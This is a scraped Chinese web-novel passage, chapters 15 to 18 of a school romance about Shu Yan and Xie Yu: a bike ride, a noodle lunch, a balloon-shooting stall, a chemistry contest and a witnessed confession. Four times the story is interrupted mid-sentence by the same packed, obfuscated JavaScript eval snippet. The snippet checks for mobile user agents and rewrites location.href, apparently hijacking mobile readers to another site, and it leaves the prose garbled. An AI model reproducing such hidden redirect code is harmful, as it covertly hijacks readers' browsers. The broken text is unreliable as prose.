舒言骑得比较慢，她想顺便享受沿途的风景和林间清新的空气。 骑车的线路是专门修的水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236202|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泥路，路不算窄，两侧是浓密茂盛的植被，有翠绿的竹子，高大的松树，笔直的香樟树……丛林间隐隐还可以听见虫鸣鸟叫。 舒言原本被甩在最后，可不知道什么时候前面的人突然慢了下来。 少年骑行的背影透着潇洒与惬意，头顶有几缕稍长的头发被风吹得立了起来，像几个在空中打架的小人。 舒言看着看着没忍住笑出了声。 前面那人干净清冽的声音被风送进她耳中，“在笑什么？” 原来不知不觉间他们已经隔得非常近，也就前后几步的距离。 舒言赶紧止住了笑意，“没什么。” 谢玙也没继续问，只是不紧不慢地摆着脚下的踏板，像是要和她的速度保持同步。 舒言目视前方，任由清风抚摸她素净的脸庞，有些不解地问：“你怎么突然骑这么慢？” 明明刚才他和许漫还有何昭一起的。 身侧那人定定看了她两秒，语气懒洋洋的，像午后温暖的阳光，“累了。” “哦哦。” 舒言了然地点头，表示理解。 周围又开始陷入了寂静中，舒言决定不再重蹈上次公交车上的覆辙，试着开口问他：“你之前来这边骑过车吗？” 谢玙嘴唇轻弯，说：“没有，第一次来。” “你知道的，我这学期才转学过来。” 听他主动提到这个话题，又想起昨天从同学那次听来的消息，她没忍住多问了句：“是从北沅那边吗？” 谢玙似乎是有些惊讶她知道这件事情，他点头：“没错，我之前一直在北沅和外公外婆一起生活。” 他声音里有一闪而过的寂寥感，“我从9岁开始就去那边了，中间很少回来。” 外公外婆？ 听得舒言下意识拧了下眉，为什么没和父母一起生活呢。 而且是从9岁开始…… 见她没出声，谢玙猜到她可能误会了什么，补充道：“别误会，我爸妈的身体都还算康健，感情也挺和睦。” “至于为什么不和他们一起生活，说来比较复杂。” 听他这么说，舒言惊觉自己暗暗松口了气，只是他没继续说，也就没有多问。 稀薄的日光从树叶间的缝隙间洒下来，落在女孩干净秀美的脸庞上，让他瞬间想到院子里盛开的洋槐花，纯白无暇，清新脱俗。 少年心跳慢了一拍，紧握着自行车把手问：“会唱歌吗？” “嗯？” 舒言没想到他突然问自己这个问题，清澈明亮的杏眸盛满了讶然。 少年报了个歌名，“听过没？” 是林菲的歌，她怎么可能没有听过。 舒言抿抿唇：“听过的。” “一起唱几句？”还没等她回应，谢玙已经轻哼了起来。 熟悉的曲调把舒言的思绪一下子拉远，她幻想起那种肆无忌惮在绿色草地里狂奔的感觉，任由清风吹拂脸庞，发丝在身后飞扬，无忧无虑，仿佛再跑快一些，就能把烦恼永远扔在身后。 “跟上来。” 少年脚下用力一蹬，已经快速骑了出去，白色的衬衫被风吹得鼓起。 舒言微笑着跟了上去，嘴里和他哼唱着同一首歌。 骄阳正好，风轻云淡。 至少这一次，烦恼永远追不上他们。 舒言在想，如果时间有暂停键的话，她但愿时间停在这一刻。 15. 第15章 中午的时候何昭吵着要吃面，大家就找了家面馆。 虽然说是面馆，但其实也有炒饭，盖饭，抄手，水饺这些。 何昭和许漫都吃了面。 谢玙要了份青椒肉丝炒饭。 舒言不是特别饿，就要了小份的抄手。 上午的骑行大家都很欢快，后面舒言和谢玙追了上去，四个人一路上都是说说笑笑的。 许漫笑嘻嘻的和大家分享自己的喜悦，“我跟你们说，我要去看林菲的演唱会了。” 何昭一脸羡慕：“哇，这么棒。” 许漫嘿嘿一笑，“那可不，我期待好久了呢，好不容易才抢到票的。” “为了去看这次演唱会，我还专门买了好多应援的东西。” “啊啊啊，真是想想就激动，这么快就可以去看林菲了，等我回来我一定要和你们全程分享……” 舒言托着腮在旁边听她讲，心里也很为她感到高兴。 去看林菲的演唱会也是她的愿望。 “真希望我们以后也会有这么多忠实的粉丝。”何昭笑着把手搭在谢玙肩上，发出一声感慨。 谢玙只笑了笑，没说话，修长的指骨摸着玻璃杯的外壁。 舒言捏捏手指，看着他们很认真地说：“一定会的。” 闻言，谢玙倏忽抬眸看向对面的人，少女真挚温柔的模样就这样落入他的眼中。 他听见她说：“你们以后肯定会有很多忠实的歌迷。” 她明亮的眼睛让人联想到夏夜璀璨的星星，蕴藏着无穷无尽的信任和憧憬。 谢玙眼眸微动，伸出食指碰了下鼻尖。 何昭一脸高兴地拍拍胸口，“那就借舒言同学吉言了，你放心等我们以后火了，肯定不会忘了大家，演唱会门票免费送！” “加我一个，加我一个。”许漫赶紧出声，“说好了，苟富贵，勿相忘啊。” 何昭：“那肯定啦，一句话的事情。” 谢玙也扯唇笑了下。 过了一会儿，服务员就把他们点的吃的送了过来。 正午时分，气温比早上的时候要高一些，又是饭店，店里坐了好多人，空气有些闷热。 舒言点的是红汤的抄手，抄手个个都皮薄馅大，底下垫了绿油油的蔬菜，看上去很有食欲。 她咬了一口，味道很不错，而且吃不出肥肉的口感，是她喜欢的。 她不喜欢肥肉，吃一口都会吐的程度。 许漫来她碗里加了一个抄手，又分给她一些面条。 许漫点的是干拌的豌杂面，味道也很好。 大家都在大快朵颐，舒言低着头又咬了一口抄手，结果脑后的发圈突然崩开了。 头发猝不及防的在脑后炸开，舒言有些慌乱地用手去拢了一下。 她早上扎的是高马尾，这会儿头发忽然散开，看上去有些乱。 她只能随意用手指梳理了几下。 另外三个人都注意到了她突发的情况。 许漫咬断面条，“糟糕，我没有备用的皮筋。” 舒言把头发别在耳后，“没事，待会吃完饭再去买发圈吧。” 谢玙盯着她看了几秒，若有所思地低头吃了一口炒饭。 舒言的发量很多，头发黑亮顺滑，虽然别在了耳后，但是只要她头稍稍动一下，头发就会跑到前面来，特别不方便，而且闷得她有些热。 反反复复，舒言只能一只手抓着头发，另只手吃饭。 坐在她对面的谢玙徒然站了起来，“我出去买包纸。” 说完，迈开长腿往外面走去。 许漫不解地指了指旁边的纸盒，“咦，这不是有纸吗？” 何昭吸溜着面条，口齿不清地说：“别管他，这人毛病多，说自己有洁癖，重来不用外面店里的纸。” 许漫：“哦哦，这样啊。”她抽出一张纸擦了擦嘴，“那洁癖确实挺严重的。” 舒言听着他们的话，回想起今天骑自行车前，他认真擦拭车把手，刚才入座前又帮他们擦桌子和板凳，当时她就在想他是不是有洁癖。 前后不过一两分钟，谢玙就提着个袋子回来了。 他把心相印抽纸拿出来，扯出两张垫在桌上，然后把纸放在上面，给大家一起用。 等做完这些，他又从袋子里拿出什么。 下一秒，一根粉色的发圈就出现在舒言面前。 舒言愣了一下，而谢玙倒是一脸淡定地看着她说：“刚才顺手买的。” 她张张嘴，想说什么，可最后只说了声谢谢。 拿皮筋的时候，舒言的手指不可避免的碰了下他的手心，两个人像被烫到似的迅速收回了手。 舒言摸摸脸，觉得店里面怎么越来越热。 见她没拒绝，谢玙心情不错地弯了下唇角，“不客气。” 舒言用发圈把头发绑好，终于方便了一些。 没想到他居然会帮自己买发圈，虽然可能只是买纸的时候恰好看到有卖发圈的，但不管怎样，都让她觉得胸腔被一股暖意包裹。 买发圈的钱…… 估计给他也不会要，就像今天上午那瓶汽水一样。 她飞快抬眸看了他一眼，心想待会一定要记得给他买个什么。 许漫咬着筷子，笑眯眯地盯着舒言的头发看，“不错啊，发圈挺好看的。” 她眨了眨眼睛，“我说谢玙，你这人还怪好的。” 何昭笑了起来，“那可不，我们阿玙，心地善良，人长得也帅，不然哪能有这么多人追呢。” “就昨天1班那个周荔还……” 话还没说完，谢玙就在桌下默默踢了他一脚。 何昭求饶般地说：“好好好，我不说了，行了吧。” 他这话反而勾起了大家的好奇，许漫一脸八卦地给何昭疯狂递眼神。 何昭碍于谢玙在一旁，自然是不敢再多说，反而直接岔开了话题。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236203|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵呵，昨天舒言同学的相声表演得很精彩嘛。” “听得我们班好多同学都哈哈大笑，大家都夸你有才呢。” 许漫听后一脸骄傲，“那肯定啦，我们舒言的相声可是拿了一等奖呢。” 提到这个，何昭难免不生自豪：“实至名归，实至名归，我和阿玙的节目也是哦。” 许漫双手做投降状，“好好好，你们都很优秀，就我是咸鱼一枚。” 谢玙喝了口水，目光落在舒言身上，忽然问了句：“昨天和你一起表演的男生……” “嗯？”舒言抬头看他，以为他是对陈质好奇，耐心给他介绍：“他是我同桌，成绩挺优秀的，你可能对他有点印象，之前篮球赛的时候他也上过场。” 见他听得很认真，舒言还以为他要说点什么，没想到他听完后只是没什么表情的轻“哦”了一声。 舒言有些不解。 这是什么反应？ 不是他自己主动开口问的吗？ 像是看穿了她的想法，谢玙淡然补充说：“没什么印象。” 行吧。 舒言也没继续说什么，和他一样喝起水来。 反而是何昭开始好奇起来，“那你们关系应该很好吧，我看你们配合得很默契。” 他揶揄一笑，“而且说句实话，你们俩站在一起也挺般配的……” 话音刚落，又在桌下实打实地挨了某人一脚。 何昭吃痛地捂住小腿。 谢玙揽住他的肩膀，“不好意思啊，脚滑了一下。” “待会出去给你买瓶云南白药喷喷。” 何昭翻了个白眼。 看见何昭的囧样，许漫直接笑出了声。 舒言没想明白是怎么回事，关切地问：“你没事吧。” 何昭苦笑一声，咬牙切齿：“我……没事。” “那就好。” 谢玙一把把何昭从凳子上拎起来，“没事就走，给你买药去。” 两人十分“友好”地搀扶着去前面结账。 舒言和许漫跟在后面，听见何昭在谢玙耳边疯狂控诉他，不禁笑了笑。 午后的阳光很温暖，这个季节的阳光不太刺眼，照在身上特别舒服。 饭后他们一致决定沿着江边散散步。 南港是三江交汇处，海运十分发达。 这个时间点，有很多人和他们一样出来溜达。 在江边的小路上还有一些小摊，有卖吃的，也有玩游戏的，很是热闹。 路过一个摊子的时候，周围围了很多人，舒言好奇地多看了几眼。 原来是一个射击气球的游戏，10块钱有20发子弹，射中一定的气球数可以获得奖品，当然射中的气球数目越多奖品的档次就越高。 在玩的基本都是一些情侣或者小朋友。 舒言扫了一眼放着奖品的置物架，原本是没什么兴趣的，却在看到那个拿着话筒唱歌的玩偶时停下了脚步。 16. 第16章 见舒言一直在盯着玩偶看，不难猜出她应该是对奖品感兴趣。 老板也注意到了他们一行人，他赶紧热情招呼道：“10块钱20发子弹，小帅哥小美女们要玩吗？” 何昭搓搓手掌，下巴朝奖品的地方扬了下，“看上什么了，昭哥今天全给你们拿下。” 许漫被他这胸有成竹的样子逗笑，“到底行不行哦，昭哥。” 何昭拍拍胸口，“包行的，射击游戏我可是行家。” 他用手做了个开.枪的姿势，“砰砰砰，昭哥我百发百中。” 许漫踮了下脚，指着一个兔子玩偶说：“那我要那个，拜托帮我拿下。” 何昭轻松一笑，“小case。” 付过钱后，何昭拿起玩具枪，熟练地装上子弹，瞄准气球，射击。 一番操作下来，只有两发子弹没有打中。 他收好枪，满脸都写上了“怎么样，快夸我，我是不是很厉害。” 一旁的几个小朋友率先给他鼓起了掌，“哇，哥哥好厉害。” 何昭得意一笑，满脸意气风发，“我都说了我很厉害的，怎么样，没骗你们吧。” 许漫默默给他竖起大拇指，“哟哟哟，昭哥厉害啊。” “谢谢您嘞。”她迫不及待朝着老板说，“老板老板，那个兔子玩偶，给我谢谢！” 老板眼角的笑纹明显，“小帅哥，枪法不错嘛，来，这位小美女，玩偶给你。” 许漫开心地把兔子玩偶抱在了怀里，转过身和舒言分享，“真可爱啊，好喜欢，摸起来软软的。” “快，你喜欢什么，让何昭帮你拿下。” 何昭也看向她，似乎在询问她想要哪个玩偶。 舒言的眼神从那个玩偶上挪开，她摇摇头，语气轻快：“谢谢，不用了，我想自己来。” 以为她是自己想体验一下，何昭把玩具枪递给她，往旁边站了站，方便她操作，“行，你之前玩过没，这里是换子弹的，你拉一下这里子弹就出去了……” 何昭很有耐心地和她讲解。 舒言却下意识看向了一旁没说话的谢玙，后者手里拎着个汽水瓶，朝她轻挑了下眉，眼底多了丝清浅的笑。 拿到玩具枪后，舒言神情专注地上膛，举枪，瞄准，射击，动作一气呵成，开枪的时候没有半点犹豫，20发子弹接连射出，气球也一个个被刺破。 结束后，老板在气球墙上数她的战绩，转过身时语气有些惊讶：“中了18个，和刚才那位小帅哥一样。” 围在舒言身边的几个小朋友再次送上掌声，“哇哇哇，姐姐也好棒哦，和哥哥一样棒。” 舒言弯腰摸了摸一个小女孩的脑袋，温柔地说：“谢谢你哦。” 她直起身来，有些期待地对老板说：“老板，我想要那个拿着话筒唱歌的玩偶。” 老板找到她说的玩偶，问：“要男娃还是女娃。” 舒言脱口而出：“要男娃。” 老板：“行，给你，小姑娘，枪法不错嘛。” 等她把玩偶抱在了怀里，目睹全程的何昭终于忍不住出声道：“舒言同学，没想到啊，你还是个深藏不露的射击高手。” “实在是牛牛牛，给你点赞。” 许漫也没想到她竟然这么厉害，她把兔子玩偶扔何昭怀里，趴在舒言肩上蹭了蹭，“天哪，舒言，你是我的女神。” “你都不知道你刚才开枪的时候有多帅。” 舒言表情淡定：“以前玩过。” 她抬眸望去，发现谢玙也正好在看自己，他嘴角噙着笑，眼底滑过一丝不可思议，不过很快转变成对她的赞赏。 舒言抱着玩偶朝他走了几步，杏眼弯成好看的弧度，双手奉上自己胜利的奖品，“谢玙，送给你的。” “谢谢你今天请我喝汽水，还有……帮我买发圈。” 少女笑意盈盈的模样清晰地映在他琥珀色的眼眸中，谢玙迟迟没伸手去接，像是有几分意外。 何昭：“！！！” 他走了过来，语气夸张，“不是，舒言同学，你好偏心啊，怎么就只送礼物给阿玙呢……” 舒言：“我……” “谢谢，我很喜欢。”当她还在思考怎么回答的时候，谢玙伸手把玩偶接了过来，还举起来端详了一番。 他伸手摸了摸玩偶手里的那个小话筒，嘴角漾起笑意，“挺可爱的。” 见他貌似还挺喜欢的，舒言顿时松了口气。 她还怕他不愿意收呢。 虽然这只是一个很普通的玩偶，但是她第一眼看到它的时候，就想把它送给谢玙。 这个玩偶是一个举着话筒唱歌的男生，身上穿着黑白色的校服，看上去青春洋溢，倒是很适合谢玙。 还有点……像他。 “咦？给我看看。” 何昭一脸羡慕地凑近，想看一看玩偶，结果谢玙反手就把它藏到了身后。 等他往后看的时候，谢玙又把玩偶拿到了前面。 反正那意思显然是不让看。 何昭：“？？？” “不是，谢玙，我看一下都不行吗？这么小气？” 谢玙睨了他一眼，言简意赅：“不行，这是我的。” 何昭深吸了一口气，“不是，你至于吗？不就是一个玩偶吗，不行，我吃醋了，我也要舒言同学送我一个。” 说完就又过去缠着舒言，说自己也要礼物。 舒言被他不停在耳边念叨，刚想答应的时候，就看见谢玙把那个玩偶递给她，“帮我拿一下。” 他把钱递给老板，二话不说地拿起玩具枪，砰砰砰的一顿操作，前后不超过三分钟，就往何昭怀里扔了个玩偶。 “给，行了吧。” 说完，迈开长腿往前面走去。 何昭看着自己怀里的小黄鸭，脸上露出了嫌弃的表情。 不是，是什么让他觉得自己会喜欢这只鸭子？！ 舒言和许漫对视了一眼，忍不住捂嘴笑了起来。 不过总归也是收到了礼物，谁送的都一样。 丑就丑点吧。 何昭叹了一口气，“算了，一起去放风筝吧。” 她们赶紧跟了上去。 …… 剩下的五一假期都是在作业中度过。 返校后的第一节化学课下课后，化学老师周敏就再次和他们说了化学竞赛的事情。 这学期要组织的是省内的初赛，初赛过了下学期就继续参加各个省份的联赛，最后是来自各个省份的顶尖选手进行决赛。 周敏鼓励班上的同学都去报名参加，说以他们的水平初赛拿个奖还是比较容易的。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236204|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏是高一年级两个尖子班的化学老师，她的教学风格很有自己的特点，上课从来不用ppt，都是板书教学。 在她的带领下，他们班的化学成绩平均分都是80多，可谓是全班化学无短板。 她为人亲和力比较强，班上的同学都很喜欢她，好多同学都亲切地喊她周姨。 舒言上个学期的数学和物理学得并不怎么样，但她坚持学理科有很大部分原因就是因为她很喜欢化学。 所以这次的化学竞赛她也是上周就去化学课代表那里报了名，还买了一些和竞赛有关的题来做。 初赛定在下周六的上午，还有一些时间来做准备。 因为有化学竞赛，月考的时间也往后顺延了一周。 课间十分钟，唐临和王远过来找陈质聊天。 唐临头发有点自然卷，每次睡觉起来都会炸开，他抓了把头发问：“你们都报名了吗，那个化学竞赛。” 陈质笑了笑，左脸的酒窝很明显，“当然，我和舒言一起报名的。” 王远拍了拍桌子，“那我也去报个名。” 唐临：“行吧，那我也去报上。” 原本还在纠结的蔡妙妙一听大家都要报名，当即转过身来说：“那我也要报名。” 她又推了下同桌的肩膀，“你报名吗？” 同桌点头说要。 蔡妙妙：“行行行，就当去凑个热闹，反正报名费也不贵。” 陈质和王远、唐临凑一块在聊上周看的电影，三个人聊得特别起劲。 舒言上完厕所回来看见自己座位上坐了个人。 余光瞥见她回来了，陈质赶紧拍了拍唐临，催促道：“快起来。” 唐临回头一看才发现舒言回来了，他蹭的一下站了起来，挠了下脖子，“刚才坐了下你的位置。” 舒言温声表示没事的，她不在的时候可以随便坐。 他们三个继续聊着天，王远说这周又和朋友约了一起打球，问他们俩要不要一起。 陈质挑了下剑眉，“和哪个班的？” 王远：“好几个班的朋友呢，那个篮球7号也来，他球打得挺好的。” 听见篮球7号三个字，蔡妙妙猛地转身，“真的吗？就是那个很帅的篮球7号？” 王远笑着点头，“对啊。” 蔡妙妙追问：“他人品和脾气怎么样？好相处不？” 王远：“挺好的，不都说球场上见人品嘛，反正我觉得挺不错，只不过待人有点冷淡，不太热情。” 蔡妙妙若有所思地点头，“帅哥嘛，很正常。” 她圆鼓鼓的眼睛转了转，“对了，你们啥时候打球，欢迎我们去围观不。” 王远：“当然咯，不过……”他笑得有几分奸诈，“要是能给我们顺便送个水，递个纸的话就更好了。” 他笑得身体开始往后仰，“也让我们在其他人面前长长面子，让他们羡慕我们一回。” 结果换来蔡妙妙的无情嘲笑，“呵呵，梦里啥都有。” 她拍了拍舒言座位上的书，“言言，不过我们这周可以一起去操场逛逛，每天都待在教室里学习，我感觉我都要长蘑菇了。” 舒言没什么意见，“好，改天去。” 只不过这周后面几天都在下雨，她们没去成操场，陈质他们也没能约上那场球。 17. 第17章 化学竞赛当天，天气雾蒙蒙的，走在路上，迎面吹来的风拍在脸上，带着一股冰凉的湿意。 初赛的地点是学校的梯队教室，里面很大，可以容纳好几百人。 上午九点，竞赛正式开始，一共两个小时。 偌大的教室几乎被人坐满，舒言和班上的同学坐在了一起。 试卷发下来后，舒言先翻看了一下，一共有八页，题型有单选题，多选题，填空题，简单题，还有计算题。 铃声响起后，舒言握住笔开始认真作答。 单选题部分并不难，多选里有两个题目她把握不太准，不过她也没有过多纠结，因为一两道题摇摆不定是考试的大忌。 填空题部分有很多关于化学反应速率的计算，计算难度比较大。 简答题是关于硫及其化合物的价态转变及其工业流程的系列问题，还有阿司匹林、头孢药物的合成、检测以及相关的化学方程式书写，大部分都是和生活相关的问题，而计算题部分涉及了有机化学，还有化学工业生产产率，化学平衡等内容。 舒言觉得整套初赛的试卷做下来整体难度适中，她预估了一下，进入复赛应该没有问题。 她做完以后还剩了一点时间。 放眼望去，周围的大部分同学都还在奋笔疾书，但班上的那几个大学霸自然早就完成了。 就比如李嘉，还剩半个小时的时候，他就提前交卷离场了。 当然了，还有部分同学是因为题目太难，剩下的实在不会做了，也提前交卷了。 交卷铃声响起后，老师让大家把试卷往前面传。 交完卷后，舒言在外面等蔡妙妙一起回教室。 “言言，你做完没有啊？”蔡妙妙皱巴着小脸跑过来挽住她的手。 “差不多吧，走吧，我们边走边说。” 蔡妙妙把书包单肩背好，“好。” 舒言给她说了自己做下来的感受，她们还对了几道题的答案。 蔡妙妙：“哇，你好厉害啊，我最后两道大题都没做，你进复赛肯定没问题。” “最后两道大题是要难一些。” “是吧。”蔡妙妙疯狂附和，“不愧是竞赛题，比平时的考试难太多了。” 舒言跟着感慨，“是啊，不过交卷的时候我看后面传上来的试卷，还是好多人都写得满满当当的。” 不管题有多难，学校里总有大把的高手能够迎刃而解。 “对对对。”蔡妙妙小鸡啄米般点头，“我看到李嘉，马高轩，徐艺，唐美娟他们都提前交卷了。” “不过他们理科本来就很好，这也正常。” “算了算了，不说这些伤心事了，我跟你讲我昨天晚上看的那本言情小说，真的贼好看。” 舒言偏过头看她，见她这么兴奋的样子，顿时有些感兴趣，“那你和我说说。” 蔡妙妙娓娓道来，“女主是个天才调香师，她代替姐姐嫁给了男主，但其实她一直喜欢男主，而男主是个冷淡的霸道总裁，他们结婚后也一直是有名无实，男主也并不在意女主。” “后面有一次男主喝醉了，把女主当成了女主姐姐，他们就发生了关系，但是男主对女主有误会，就还是对女主冷冰冰的，后面女主怀孕了，她不想让男主知道，就提出了离婚，男主也同意了。” “但是几年后男女主重逢了，女主已经成了著名的调香师，身边也有了男二，男主却在女主离开后意识到他其实早就喜欢上了她，后面就开始追求女主，然后两个人重新在一起了。” 她叹了口气，又继续讲道：“不过比较可惜的是，男女主的第一个孩子因为离婚后女主伤心过度，精神出现了问题，没有保住……” 虽然蔡妙妙描述得绘声绘色，很是激动，但是舒言听着听着却觉得不太舒服。 她对言情小说不太感兴趣，平时也就是偶尔听蔡妙妙讲讲而已。 刚才那本小说她还以为最后的结局是女主重新开始新的生活，彻底和过去告别呢，没想到居然是这样的结局。 见她一直没说话，蔡妙妙歪过头戳了下她，“怎么了呀？言言。” 舒言：“我只是在想，为什么最后女主还会和男主在一起……” 她看向蔡妙妙，“你难道不觉得这个结局怪怪的吗？” 蔡妙妙不解：“难道这样大团圆的结局不好吗？而且女主本来就喜欢男主啊。” “我觉得不太好……”舒言不知道该怎么形容自己的感受。 她沉思了一会儿，说：“可是男主曾经对那些女主的漠视和伤害呢，而且女主还失去了自己的孩子，身体和心理都受到了严重的伤害，最后女主变得很优秀，本来可以重新拥抱新的生活，却非要安排一个破镜重圆，得到一个看起来很“圆满”的结局。” “总之，我觉得女主的结局不应该是这样的，她可以选择再次走进婚姻的殿堂，但那个人不应该是给了她这么多伤害的前夫。” “em……你说得好像也挺有道理。”听她这么一说，蔡妙妙也觉得结局好像是不太好，只是她以前一直没有想过这些问题。 每次看文的时候，她总觉得男主和女主大结局的时候在一起了就是好的结局，不管在这中间女主受过多少苦难，也不管男主有没有伤害过女主，只要男女主最后在一起就行。 舒言一脸认真地说：“言情小说的受众本来就是女生，既然是写给女生看的，为什么却总是给男主安排一个高高在上的身份，让女主始终处于弱势地位呢？” “而且明明男主才是羞辱，折磨女主的那个人，可到最后男主往往又被作者写成了女主的救赎，我觉得这其实就是纯粹的虐女……” “是哦。”蔡妙妙越听越觉得她说得很对。 这样一看，好多小说确实就是为虐而虐。 不行，她要忏悔，她之前还特别喜欢看那种虐身虐心的小说，而且被虐的还总是女主，很少有作者会去虐男主。 以前她并没有意识到哪里不多，但今天听舒言这么一分析，蔡妙妙决定以后再也不看这种专门虐女主的小说了。 蔡妙妙握紧拳头，“可恶，我回去就把那本小说给丢了。” 舒言被她的反应逗笑，握住她的手，“好啦，不气了，以后我们不看就行了，我们快回教室继续上自习吧。” 蔡妙妙脸上又重新拾起笑容，“嘿嘿，好的。” …… 回教室上了几十分钟自习后就放学了。 蔡妙妙早就收拾好书包坐等爸妈来接她了。 她转过身问：“陈质，你们宁都三少这周是不是又要去潇洒啊？” 陈质嘴角上扬，“是啊，我们这周打算去抓娃娃。” 从过道经过的一个女生扭过头说：“抓娃娃？想不你们男生也喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236205|166098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓娃娃啊。” 陈质有点不好意思地挠了下脑袋，“不是我想去，还不是唐临。” “这小子说现在把抓娃娃的技术练好，以后谈了对象就不会被嫌弃了。” 听得周围的女生都没忍住笑了起来。 舒言也抿唇笑了笑。 蔡妙妙有些惊讶，“没想到唐临还想得这么久远啊，难道他有女朋友了吗？” 陈质：“没有啊，这不是为了以后做准备嘛。” 蔡妙妙竖起大拇指，“啧啧啧，还得是你们宁都三少。” 她低头看了眼手机，一脸雀跃地站了起来：“不和你们说了，我爸妈马上到校门口了，言言拜拜，明晚见！” 舒言和她告别，“明天见。” 陈质侧过身问：“舒言，你周末有什么打算？” 舒言低头拉上书包的拉链，“就做作业吧。” 陈质放在桌下的手虚握着，试探着问：“那你要不要和我们一起出去玩？” 怕她拒绝，又急忙补充：“叫上蔡妙妙一起。” 闻言，舒言抱歉地笑了笑：“不好意思啊，这周可能不太行。” 就快要月考了，她想趁着周末的时候再多刷刷题。 陈质有些失望，不过也没勉强。 他笑着说：“那下次一起出去玩。” 舒言点头说好，“那我就先回家啦，周末快乐。” 陈质：“嗯嗯，周末快乐。” 舒言出了教室后没有直接往校门的方向走，她想先绕路去教学楼后面的紫藤萝长廊坐一会儿。 现在大家都着急回家，那里大概率没有人，她可以在那一个人看会书，做会题再回家。 她到的时候，长廊里果然安安静静的。 舒言从书包里拿出物理练习册翻开，又拿出草稿本，想再试着做一下作业里最后一道电磁场的大题。 写写画画半天，舒言终于把这道题解了出来。 坐了一会儿后，她收好书，准备回家去。 舒言穿过紫色的长廊，又下了两级台阶，这才到了通往校门的柏油路。 学校的地势不是很平，她沿着蜿蜒的马路往下走，路上偶尔有三三两两的学生经过。 快到行政楼的时候，一个熟悉的身影从旁边的支路出来。 是谢玙。 他背着黑色的书包目不斜视地往前走着。 舒言刚想出声叫住他的时候，一个俏丽的身影突然在他身后出现。 周荔快步跟了上去，凑到谢玙身边，偏过头在和他说话。 谢玙走得很急，周荔几乎是小跑着。 舒言看到周荔好像笑得很开心，应该是在分享什么有趣的事情。 他们朝着校门的方向走着，舒言只能继续跟在他们后面。 快到校门口的时候，不知道发生了什么，谢玙突然停了下来。 周荔自然也停下了脚步。 她今天没有穿校服，而是穿了一条鹅黄色的裙子，头发披着，上面还戴了精致的发夹。 周荔依旧是仰着头在看谢玙。 他们好像在说什么。 只不过隔得有点远，舒言看不见他们脸上的表情，也听不见他们在说什么。 想到之前听到的某些传闻 她低头盯着自己的鞋尖看了两秒，深吸了一口气，抬起头，朝着他们走了过去。 18. 第18章 还没走几步，舒言就听见周荔的那句—— “我喜欢你，谢玙。” 炙热的，直白的，勇敢的告白。 掷地有声，斩钉截铁。 少女就这样将自己的心意吐露在对方面前，如暗夜里迎风摇曳的火焰，剧烈燃烧着，啪啪作响，耀眼得让人难以忽视。 她仰起头，露出修长白皙的天鹅颈，目光希冀的安静等待对方的回答。 站在她对面的男生清隽帅气，而女生羞涩美丽，这样的画面精美得像小说里的插画，让人不舍得出声惊扰。 路边的菩提树叶子被风吹得沙沙作响，有一片叶子悄然落在了舒言的左肩。 她抬手捡下来捏在手心里，惊觉下半身的两条腿宛若灌了千斤重的水泥，沉得让人迈不开步子。 从他们身侧经过的那瞬，心脏仿佛被一只无形的手攥住，难言的酸涩感如同淅淅沥沥的小雨砸在上面，她想睁开束缚，可那只看不见的手却紧紧拉住她，让她慢慢被这场突如其来的小雨淋湿。 可这雨明明是落在她心上的，等她回过神的时候，却发现眼睛变得湿湿的。 根本来不及再去留意什么，舒言沉默收回视线，加快步伐，匆匆从他们身侧经过。 …… 整个下午舒言一直待在房间里做作业。 长时间的学习本应该让她沾床就睡，可直到晚上12点，大脑都格外的清醒。 她干脆从床上坐起来，重新打开了灯。 舒言坐到书桌前，翻开数学练习册，可上面密密麻麻的数字和字母却只是堆砌着从她眼前飘过。 枯燥又乏味。 她索性干脆放弃。 舒言舔了舔干涩的唇瓣，不过是片刻的松懈，脑海里就被今天下午那些的画面所占据。 她控制不住地去想，他会怎么回答周荔呢。 是拒绝还是答应…… 可她为什么又这么在意这件事呢？ 在这个寂静的深夜，答案几乎呼之欲出。 舒言拇指无意识地摩挲了下食指，她拿出抽屉里的手机，登陆了Q.Q。 